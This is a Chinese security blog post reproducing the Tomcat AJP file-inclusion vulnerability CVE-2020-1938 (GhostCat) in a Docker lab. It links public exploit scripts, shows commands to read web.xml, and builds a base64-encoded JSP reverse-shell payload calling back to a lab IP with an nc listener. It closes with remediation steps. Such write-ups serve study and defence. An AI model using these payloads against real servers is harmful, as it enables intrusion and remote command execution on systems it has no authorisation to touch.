Tomcat AJP文件包含漏洞(CVE-2020-1938)
2023-2-24 09:58:12 Author: 藏剑安全(查看原文) 阅读量:15 收藏

现在只对常读和星标的公众号才展示大图推送,建议大家能把“藏剑安全设为星标”,否则可能就看不到了

由于Tomcat在处理AJP请求时,未对请求做任何验证,通过设置APJ连接器封装的request对象的属性,导致产生了任意文件读取漏洞和代码执行漏洞。

CVE-2020-1938又名GhostCat,之前引起了一场风雨,由长亭科技安全研究员发现的存在与Tomcat中的安全漏洞,由于Tomcat AJP协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含Tomcat上所有webapp目录下的任意文件,例如可以读取webapp配置文件或源代码,此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

Apache Tomcat 9.x < 9.0.31Apache Tomcat 8.x < 8.5.51Apache Tomcat 7.x < 7.0.100Apache Tomcat 6.x

(影响说明:读取webapp下的所有文件)

漏洞成因时两个配置文件导致:

Tomcat在部署时有两个重要文件conf/server.xml,conf/web.xml。前者定义了tomcat启动时涉及的组件属性,其中包含两个connector(用于处理请求的组件):

如果开启状态下,tomcat启动后会监听8080,8009端口,它们分别负责接受http,ajp协议的数据,后者则和普通的java Web应用一样,用来定义servlet,这里是tomcat内建的几个servlet。

就像注解中描述的default servlet用来处理所有未被匹配到其他servlet的url请求,jsp servlet用来处理以.jsp,.jspxz做后缀名的url请求,这两都随tomcat一起启动。

tomcat结构简介详解:

tomcat的整体架构如上图所示,一个tomcat就是一个server,其中可以包含多个service(这里指的是一个抽象的逻辑层)。而每个serviceConnectorContainerJsp引擎,日志等组件构成,与此次漏洞相关的组件主要是前两者。

Connector是用来接收客户端的请求,请求中的数据包在被Connector解析后就会由Container处理,这个过程大致如下图:

Container中可以包含多个Host(虚拟主机,同Apache中定义),一个Host对应一个域名,因此Tomcat也可以配置多域名,每个Host又可以有多个Context,每个context其实就是一个web应用,而context下又有多个Wrapper,wrapper和servlet一一对应,只是它封装了一些管理servlet的函数,更近一步,客户端请求就交由servlet进入应用级的处理逻辑。

cd CVE-2020-1938/docker-compose up -d

1、访问链接:http://192.168.111.133:8080/

2、下载利用POC进行攻击。

下载地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

该脚本在python2环境下执行。

python2 1.py 192.168.111.133 -p 8009 -f /WEB-INF/web.xml

成功读取到/WEB/web.xml文件的源码!

3、漏洞复现-文件包含RCE。

该漏洞可以将任意文件类型解析为jsp,从而达到任意命令的效果,但漏洞需要配合文件上传漏洞才可利用,假设目标服务器已经有了一个shell.png,里面的内容是执行任意命令,可以执行以下命令得到命令执行结果在线bash payload生成。

bash -i >& /dev/tcp/192.168.111.129/4444 0>&1

因为正常的执行语句里面不能带空格和管道符,我们对bash脚本进行base64编码。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNDQ0NCAwPiYx

最终的payload。

<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");%>

将cmd.txt上传到/usr/local/tomcat/webapps/ROOT目录中。

docker cp /home/wangkun/桌面/cmd.txt 6900d2621470:/usr/local/tomcat/webapps/ROOT

接下来,我们在kali开启监听。

nc -lvvp 4444

利用脚本下载链接:https://github.com/00theway/Ghostcat-CNVD-2020-10487

下载好脚本后,我们给py脚本加上权限,然后执行下面命令。

chmod +X ajpShooter.pypython3 ajpShooter.py http://192.168.111.133 8009 /cmd.txt eval

连续执行三次,成功反弹回来shell。

1、将Tomcat立即升级到9.0.31,8.5.51或7.0.100版本进行修复。

2、禁用AJP协议

具体方法:编辑/conf/server.xml,找到如下行:

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />

将此行注释掉(也可删除掉该行):

<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->

3、配置secret来设置AJP协议的认证凭证。

例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高,无法被轻易猜解的指):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDA5NzUzNA==&mid=2247484826&idx=1&sn=a9f2bda33582591220aa40c759ef762e&chksm=cfe09f8bf897169df7e5c613c1b26de98b8ee949e89ce19c49f0fe4cd6179d6f0046901314fd#rd
如有侵权请联系:admin#unsafe.sh